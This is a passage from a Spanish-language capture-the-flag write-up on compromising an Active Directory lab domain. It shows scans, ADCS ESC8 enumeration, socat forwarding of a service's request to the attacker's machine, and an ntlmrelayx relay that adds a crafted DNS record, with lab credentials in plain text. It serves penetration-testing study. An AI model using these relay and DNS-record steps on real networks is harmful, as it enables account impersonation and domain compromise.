| ODgtMzYwNDIzNjg0Ny0xMDAwMA0GCSqGSIb3DQEBCwUAA4ICAQCKmQ0FHS5X6atP
| pooTkOmuP5ebsoINxwfx03DKrFY23bDG0Zv7rH92UW4ptkLZ5Vq4W2zHGd9miMAu
| LyGhL8r/mynrC9eaQZykP83hNKidcL8hiaoXi0VkU76oAMSUaI8IjD0iZp+xNRQW
| YOMf2aRDqjVHof9mYJJc94Uobqm/fYaCBS6FnKtXjI1JsCMlKhGBJVMXCu7krOVc
| 47wK/MlP1YH3CaQ1qIFnaxiRPrGM5q1igER1fu4x8ZUqi2I29IAKwlNtvwuQsIWF
| HWTL6jYURAJqNt6rf2llbRKNsA9wWMEh4I3cMXS52IJPSB9r4dpT0Hv6sD+D+azX
| /YNJzUUO+h6gC1B20z6cPVAAQe3yozKRMSh3ja+2EI+9OPgOVDK8RbF2rs8DgtRK
| kys/tCtLZjZaBZ0UDFCr3Uliu2JEcIF5f4Pf2y7VA6Ep8cR+vd4ai4UPr+1wv2DH
| UCHzrLsCiRV4kld9gHkhX8bWlGtO8evo4qV1yZ2KaH2M1zf17VVKUNiaNFev1SGb
| 96Siu0GXXz/lHwrJyfdZkCBp8U7Z5dD0jNwF+0F5f+w3KpPXTXuogw4IRR4ug8A4
| cp+HB0IGKK2YCJZLhjFdBJESYGxtWQBun73Ryt76SlUUSQ1eIUypYOJA78wgMA8A
| w6Gt7i+UoIw1vr6SbQVMyuiM3umSvA==
|_-----END CERTIFICATE-----
54018/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC-01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
| nbstat: NetBIOS name: DC-01, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:84:03:00 (Microsoft)
| Names:
| DC-01<00> Flags: <unique><active>
| DARKCORP<00> Flags: <group><active>
| DARKCORP<1c> Flags: <group><active>
| DC-01<20> Flags: <unique><active>
| DARKCORP<1b> Flags: <unique><active>
| Statistics:
| 00 15 5d 84 03 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 22330/tcp): CLEAN (Timeout)
| Check 2 (port 22957/tcp): CLEAN (Timeout)
| Check 3 (port 28117/udp): CLEAN (Timeout)
| Check 4 (port 13643/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2026-05-29T19:29:58
|_ start_date: N/A
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:30
Completed NSE at 15:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 15:30
Completed NSE at 15:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 15:30
Completed NSE at 15:30, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.60 seconds
La captura de nmap revela servicios de Active Directory, como dns, kerberos y ldap.
Además, veremos información del host y del dominio darkcorp.htb (aunque ya lo habíamos visto desde el LFI), frente a esta información podemos intuir que estamos frente a un Controlador de Dominio.
Agregaremos una nueva entrada a nuestro archivo /etc/hosts para resolver correctamente el dominio a través de DNS
export DOMAIN=darkcorp.htb
export FQDN=DC-01.darkcorp.htb
echo "$DC_IP $FQDN $DOMAIN" | sudo tee -a /etc/hosts
172.16.20.1 DC-01.darkcorp.htb darkcorp.htb
WEB-01
Como existe otro host activo en la IP .2, podemos intentar escanear puertos en él para descubrir servicios expuestos
rustscan -a 172.16.20.2 --ulimit 5000 -- -sC -sV -Pn -n -oN WEB-01_services
Nmap scan report for 172.16.20.2
Host is up (0.34s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5000/tcp open http Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
| http-ntlm-info:
| Target_Name: darkcorp
| NetBIOS_Domain_Name: darkcorp
| NetBIOS_Computer_Name: WEB-01
| DNS_Domain_Name: darkcorp.htb
| DNS_Computer_Name: WEB-01.darkcorp.htb
| DNS_Tree_Name: darkcorp.htb
|_ Product_Version: 10.0.20348
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
|_http-server-header: Microsoft-IIS/10.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49665/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-29T19:50:28
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WEB-01, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:84:03:03 (Microsoft)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 78.25 seconds
Veremos más servicios relacionados a Windows, aunque esta vez no veremos servicios de un DC como ldap, dns, etc.
Nuevamente añadiremos esta información a nuestro archivo /etc/hosts para aplicar correctamente la resolución DNS
echo "172.16.20.2 WEB-01.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
172.16.20.2 WEB-01.darkcorp.htb darkcorp.htb
Domain Auth
Intentaremos validar estas credenciales a nivel de dominio en los hosts Windows. Aunque en mi caso dejé la enumeración del dominio a nivel de Active Directory para un poco más adelante
nxc smb alive_hosts.txt -u victor.r -p 'victor1gustavo@#'
SMB 172.16.20.2 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:None)
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.20.2 445 WEB-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
De forma casi inmediata lanzaremos una herramienta que nos permita recolectar información del dominio
Web Enumeration
Como ambos hosts de la red interna tienen un servicio http corriendo en el puerto 80, lanzaremos whatweb para enumerar las tecnologías web que el servidor pueda estar ejecutando
DC-01
Comenzaremos analizando el host DC-01. Recordemos que la captura de nmap reveló que el host DC-01 posee dos servicios web, uno en el puerto 80/http y otro en el puerto 443/https
whatweb http://172.16.20.1
http://172.16.20.1 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.22.1], IP[172.16.20.1], Meta-Refresh-Redirect[http://drip.htb/], nginx[1.22.1]
http://drip.htb/ [302 Found] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.5.241], RedirectLocation[index], Title[Redirecting...], nginx[1.22.1]
http://drip.htb/index [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com,support@drip.htb], HTML5, HTTPServer[nginx/1.22.1], IP[10.129.5.241], PoweredBy[Roundcube], Script, Title[DripMail], nginx[1.22.1]
El servidor HTTP del puerto 80 parece correr el servicio web que explotamos al inicio, ya que redirige a drip.htb.
En cuanto al servicio https corriendo el el puerto 443, parece ser un servidor IIS
whatweb https://172.16.20.1
https://172.16.20.1 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[172.16.20.1], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]
Si visitamos la página web desde un navegador, veremos la página por defecto de IIS

Fuzzing
Si realizaremos un escaneo de directorios y/o archivos posibles mediante fuzzing, veremos que el servidor posee la ruta /certsrv
La ruta
/certsrvenIIScorresponde a la interfaz web deServicios de Certificados de Active Directory(ADCS).Se utiliza para la inscripción y gestión de certificados digitales a través de un navegador web.
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -r -u "https://$DC_IP/FUZZ" -k
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : https://172.16.20.1/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
aspnet_client [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 333ms]
certsrv [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 1923ms]
certenroll [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 813ms]
:: Progress: [4750/4750] :: Job [1/1] :: 208 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
El servidor nos denegará el acceso a ella, por lo que nos queda continuar enumerando. Sin embargo, puede ser útil tener este dato en cuenta
WEB-01
Continuaremos enumerando el host WEB-01, donde lanzaremos un escaneo preliminar de tecnologías web
whatweb http://172.16.20.2
http://172.16.20.2 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[172.16.20.2], Microsoft-IIS[10.0], Title[IIS Windows Server], X-Powered-By[ASP.NET]
En cuanto al servicio en el host WEB-01, este corre un servidor IIS. Si visitamos la web, veremos la página por defecto

(Failed) Fuzzing
Si intentamos fuzzear este servidor web, solamente veremos una ruta por defecto de IIS (aspnet_client)
ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -r -u "http://172.16.20.2/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://172.16.20.2/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
aspnet_client [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 177ms]
:: Progress: [4750/4750] :: Job [1/1] :: 123 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Windows Auth
Recordemos que el host WEB-01 además posee un servicio HTTP en el puerto 5000, aunque está configurado para requerir autenticación basada en Windows
whatweb http://172.16.20.2:5000
http://172.16.20.2:5000 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[172.16.20.2], Microsoft-IIS[10.0], Title[401 - Unauthorized: Access is denied due to invalid credentials.], WWW-Authenticate[Negotiate, NTLM], X-Powered-By[ASP.NET]
Si visitamos el servicio web en el puerto 5000, el servidor nos solicitará credenciales

Web Access as victor.r - WEB-01
Como tenemos credenciales válidas a nivel de dominio, podremos autenticarnos en el puerto 5000 como el usuario victor.r

Al ingresar, el servidor nos lleva a la siguiente plataforma. Un Dashboard donde podremos monitorear sistemas internos

Logs
Al navegar sobre la barra superior, notaremos que exsite una ruta /export-logs, la cual podemos visitar para obtener un reporte de los sistemas
curl -s --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' 'http://web-01.darkcorp.htb:5000/export-logs' | head
timestamp,server,status,response_time_ms
2024-12-01 00:00:00,db-02.darkcorp.htb,DOWN,0
2024-12-01 00:05:00,web-01.darkcorp.htb,UP,417
2024-12-01 00:10:00,web-03.darkcorp.htb,DOWN,0
2024-12-01 00:15:00,db-01.darkcorp.htb,DOWN,0
2024-12-01 00:20:00,db-02.darkcorp.htb,DOWN,0
2024-12-01 00:25:00,web-03.darkcorp.htb,DOWN,0
2024-12-01 00:30:00,db-01.darkcorp.htb,DOWN,0
2024-12-01 00:35:00,web-02.darkcorp.htb,DOWN,0
2024-12-01 00:40:00,web-03.darkcorp.htb,UP,225
Check Status
Además, desde la ruta /check podremos comprobar el estado de los servicios para verificar si están activos

Podemos hacer una comprobación rápida a través de esta funcionalidad. El botón Check verificará el estado del host a través del puerto

Testing
Si especificamos un puerto en un host que sabemos que no responderá (como el puerto 8080) en la máquina drip, veremos un mensaje de error

Catch Connection
Podemos intentar aprovechar este error para redirigir esta conexión desde el puerto 8080 de drip hacia nosotros.
Necesitaremos abrir un pureto en nuestra máquina para recibir esa conexión:
nc -lvnp 8080
# copy socat to target machine
sshpass -p 'ThePlague61780' scp -oStrictHostKeyChecking=no socat ebelford@drip.htb:/tmp
# ssh shell
sshpass -p 'ThePlague61780' ssh -oStrictHostKeyChecking=no ebelford@drip.htb
ebelford@drip:~$ cd /tmp
ebelford@drip:/tmp$ chmod +x socat
ebelford@drip:/tmp$ ./socat TCP-LISTEN:8080,fork TCP:10.10.15.30:8080
Al hacer clic en Check! en la web, recibiremos una solicitud HTTP proveniente del host WEB-01 hecha con la librería requests de python
Connection from 10.129.232.7:49986
GET / HTTP/1.1
Host: drip.darkcorp.htb:8080
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Domain Enumeration
Ahora que ya enumeramos los servicios web y comprendimos un poco mejor la red, procederemos a enumerar el dominio.
BloodHound
Como las credenciales de victor.r funcionaron para autenticarnos a nivel de dominio, las utilizaremos para lanzar una herramienta que recolecte información del mismo y la visualizaremos en BloodHound ``
Para este paso podemos emplear herramientas como
rusthound-ce,bloodhound-ce-python, etc.
rusthound-ce -d darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --zip
---------------------------------------------------
Initializing RustHound-CE at 17:44:40 on 05/29/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-05-29T21:44:40Z INFO rusthound_ce] Verbosity level: Info
[2026-05-29T21:44:40Z INFO rusthound_ce] Collection method: All
[2026-05-29T21:44:41Z INFO rusthound_ce::ldap] Connected to DARKCORP.HTB Active Directory!
[2026-05-29T21:44:41Z INFO rusthound_ce::ldap] Starting data collection...
[2026-05-29T21:44:41Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-05-29T21:44:43Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=darkcorp,DC=htb
[2026-05-29T21:44:43Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-05-29T21:44:50Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=darkcorp,DC=htb
[2026-05-29T21:44:50Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-05-29T21:44:59Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=darkcorp,DC=htb
[2026-05-29T21:44:59Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-05-29T21:45:00Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=darkcorp,DC=htb
[2026-05-29T21:45:00Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-05-29T21:45:00Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=darkcorp,DC=htb
[2026-05-29T21:45:00Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⠁ Parsing LDAP objects: 41% [2026-05-29T21:45:00Z INFO rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2026-05-29T21:45:00Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-05-29T21:45:00Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 13 users parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 62 groups parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 3 computers parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 4 ous parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 3 domains parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 3 gpos parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2026-05-29T21:45:00Z INFO rusthound_ce::json::maker::common] .//20260529174500_darkcorp-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 17:45:00 on 05/29/26! Happy Graphing!
Active Directory Certificate Services (ADCS)
Sumado a nuestra intuición al enumerar el servidor web del DC, todo parece apuntar a que el servicio de certificados de Active Directory (ADCS) se encuentra activo

Enumeraremos el servicio ADCS buscando plantillas que podamos aprovechar para movernos lateralmente por el dominio o que nos puedan ser de utilidad
certipy find -enabled -u "victor.r@$DOMAIN" -p 'victor1gustavo@#' -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'DARKCORP-DC-01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
<SNIP>
Certificate Authorities
0
CA Name : DARKCORP-DC-01-CA
DNS Name : DC-01.darkcorp.htb
Certificate Subject : CN=DARKCORP-DC-01-CA, DC=darkcorp, DC=htb
Certificate Serial Number : 27637AF630C1D39945283AF47C89040C
Certificate Validity Start : 2024-12-29 23:24:10+00:00
Certificate Validity End : 2125-01-22 12:18:28+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : True
Channel Binding (EPA) : Unknown
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : DARKCORP.HTB\Administrators
Access Rights
ManageCa : DARKCORP.HTB\Administrators
DARKCORP.HTB\Domain Admins
DARKCORP.HTB\Enterprise Admins
ManageCertificates : DARKCORP.HTB\Administrators
DARKCORP.HTB\Domain Admins
DARKCORP.HTB\Enterprise Admins
Enroll : DARKCORP.HTB\Authenticated Users
[*] Remarks
ESC8 : Channel Binding couldn't be verified for HTTPS Web Enrollment. For manual verification, request a certificate via HTTPS with Channel Binding disabled and observe if the request succeeds or is rejected.
Abusing AD CS - ESC8 Technique
ESC8 es una técnica de escalada de privilegios que abusa de la interfaz web del Servicio de Certificados de Active Direectory (AD CS), la cual es vulnerable a ataques de retransmisión NTLM (NTLM Relay).
De esta forma, un atacante puede suplantar la identidad de una cuenta que se autentica mediante NTLM, accediendo a esta interfaz web y solicitando certificados en el nombre de esta cuenta, permitiendo la escalada de privilegios dentro de un dominio de Active Directory
Understanding Vulnerability
Para comprender cómo funciona esta técnica, necesitamos primero entender una serie de factores y condiciones que la hacen explotable.
AD CSadmite varios métodos de inscripción basados enHTTPmediante roles de servidor adicionales que los administradores pueden instalar opcionalmente.
- Interfaz web de inscripción de certificados (
Certificate Enrollment Web Interface).- Servicio de inscripción de certificados (
Certificate Enrollment ServiceoCES), que opera en conjunto con la Directiva de Inscripción de Certificados (Certificate Enrollment PolicyoCEP).
Pre-conditions
La condición principal que debe cumplirse es la prescencia del servicio web de inscripción habilitado en el servidor AD CS.
Este servicio permite a un cliente enviar una solicitud de certificado a través de una interfaz web (normalmente http://<ca_server>/certsrv/ o https://<ca_server>/certsrv/).
Estos servicios web HTTP(S) de AD CS son vulnerables si se cumplen las siguientes condiciones:
- Aceptar autenticación
NTLM: El servidor aloja esos servicios en un servidor web (IISo uno dedicado) de laCA(Certificate Authority). - Falta de protecciones
NTLM: El equipo en cuestión no aplica protecciones contraNTLM Relay, comoEPA(también conocida comoChannel Binding).
EPA(Extended Protection for Authentication) es una característica de seguridad de Windows que protege una red contra ataques de retransmisión (Relay) y suplantación de identidad (Spoofing).
Simplemente usando
HTTPSes insuficiente para prevenir ataques de retransmisión siEPAno está correctamente configurado.
Suplantando la identidad del usuario víctima, un atacante podría solicitar un certificado de autenticación de cliente basado en las plantillas de certificado User o Machine. (specterops.io)
Attack Steps
Los pasos para llevar a cabo este ataque generalmente siguen la siguiente estructura:
-
El atacante obliga a una cuenta privilegiada a autenticarse en una máquina controlada por el atacante mediante
NTLM(Coerced Authentication). -
El atacante utiliza una herramienta de retransmisión
NTLMpara escuchar las autenticacionesNTLMentrantes, comontlmrelayx.py. -
Cuando la cuenta víctima se autentica, la herramienta captura y reenvía esta autenticación hacia el endpoint de inscripción web vulnerable de
AD CS(por ejemplo,https://<CA_SERVER>/certsrv/certfnsh.asp). - El servicio web toma esta autenticación como legítima, por lo que procesa las solicitudes de inscripción como si fuera la cuenta víctima.
- El atacante solicita un certificado aprovechando esta autenticación, especificando una plantilla donde la cuenta tenga derechos de inscripción (como
UseroMachine).
- El atacante solicita un certificado aprovechando esta autenticación, especificando una plantilla donde la cuenta tenga derechos de inscripción (como
-
La
CAemite el certificado y el atacante lo recibe como un archivo.pfx. - El atacante puede utilizar este certificado para autenticarse como el usuario víctima usando
PKINITy obtener sus credenciales.
Scenario
En este caso, la configuración de la CA nos dice que Web Enrollment se encuentra habilitado por HTTPS, pero no se logró identificar la configuración de EPA
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : True
Channel Binding (EPA) : Unknown
Podemos verificarla usando la herramienta netexec, donde en la parte del Banner notaremos que LDAP no está firmado
nxc ldap "$DC_IP" -u 'victor.r' -p 'victor1gustavo@#'
LDAP 172.16.20.1 389 DC-01 [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) (signing:None) (channel binding:Never)
LDAP 172.16.20.1 389 DC-01 [+] darkcorp.htb\victor.r:victor1gustavo@#
Exploiting
Add DNS Record
Si intentamos añadir un nuevo registro DNS con las credenciales de victor.r, notaremos que no disponemos de permisos suficientes (INSUFF_ACCESS_RIGHTS)
bloodyAD --host "$FQDN" -d "$DOMAIN" -u 'victor.r' -p 'victor1gustavo@#' add dnsRecord dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.15.30
Traceback (most recent call last):
File "/root/.local/bin/bloodyAD", line 8, in <module>
sys.exit(main())
^^^^^^
File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/main.py", line 210, in main
output = args.func(conn, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/cli_modules/add.py", line 334, in dnsRecord
conn.ldap.bloodyadd(record_dn, attributes=record_attr)
File "/root/.local/share/pipx/venvs/bloodyad/lib/python3.11/site-packages/bloodyAD/network/ldap.py", line 213, in bloodyadd
raise err
msldap.commons.exceptions.LDAPAddException: LDAP Add operation failed on DN DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00000005: SecErr: DSID-03152E29, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"
Al intentar registrar un nuevo registro DNS personalizado, veremos algunos errores con el formato de nombre
uv run examples/ntlmrelayx.py -t ldap://172.16.20.1/ --no-smb-server --no-validate-privs --no-acl --add-dns-record 'web-02.darkcorp.htb' 10.10.15.30
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Setting up MSSQL Server on port 1433
[*] Setting up RDP Server on port 3389
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.129.232.7 controlled, attacking target ldap://172.16.20.1
[*] (HTTP): Client requested path: /
[*] (HTTP): Authenticating connection from DARKCORP/SVC_ACC@10.129.232.7 against ldap://172.16.20.1 SUCCEED [1]
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Assuming relayed user has privileges to escalate a user via ACL attack
[-] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Invalid name for DNS record
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Dumping domain info for first time
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Domain info dumped into lootdir!
Recibimos autenticación como la cuenta
svc_acc. Si consultamos en BloodHound, veremos que se trata de una cuenta de servicio y es miembro deDnsAdmins.
Frente a este problema, podemos intentar utilizar la técnica descrita en el siguiente artículo de James Forshaw, la cual consiste en abusar del procesamiento de los SPN (Service Principal Name) en Active Directory.
La técnica menciona que ciertas funciones de Windows como SecMakeSPNEx2 construyen un SPN no tan solo con una cadena estándar, sino que concatenan una esctructura de datos binarios (CREDENTIAL_TARGET_INFORMATION) codificada en una variante de base64.
El resultado de este proceso es un SPN que luce más o menos como el siguiente
cifs/target1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAtargetsBAAAA
En su artículo menciona las limitaciones de caracteres en DNS, lo que limita el ataque a nombres NetBIOS cortos.
En este caso no será un problema porque tenemos opciones como
DC-01, el cual solo posee5caracteres.
Finalmente, el registro DNS que podemos utilizar para explotar la técnica de Marshal DNS luce de la siguietne manera
dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
Iniciaremos la herramienta ntlmrelayx con algunos parámetros para omitr comprobaciones y funcionalidades innecesarias, añadiendo el registro DNS malicioso con --add-dns-record
uv run examples/ntlmrelayx.py -t ldap://172.16.20.1/ --no-smb-server --no-validate-privs --no-acl --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.15.30
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Setting up MSSQL Server on port 1433
[*] Setting up RDP Server on port 3389
[*] Multirelay disabled
[*] Servers started, waiting for connections
Ahora haremos clic en Check! desde la web para activar el ataque. Nuestro listener capturará la conexión y la cuenta víctima tramitará el registro DNS malicioso por nosotros
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.129.232.7 controlled, attacking target ldap://172.16.20.1
[*] (HTTP): Client requested path: /
[*] (HTTP): Authenticating connection from DARKCORP/SVC_ACC@10.129.232.7 against ldap://172.16.20.1 SUCCEED [1]
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Assuming relayed user has privileges to escalate a user via ACL attack
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
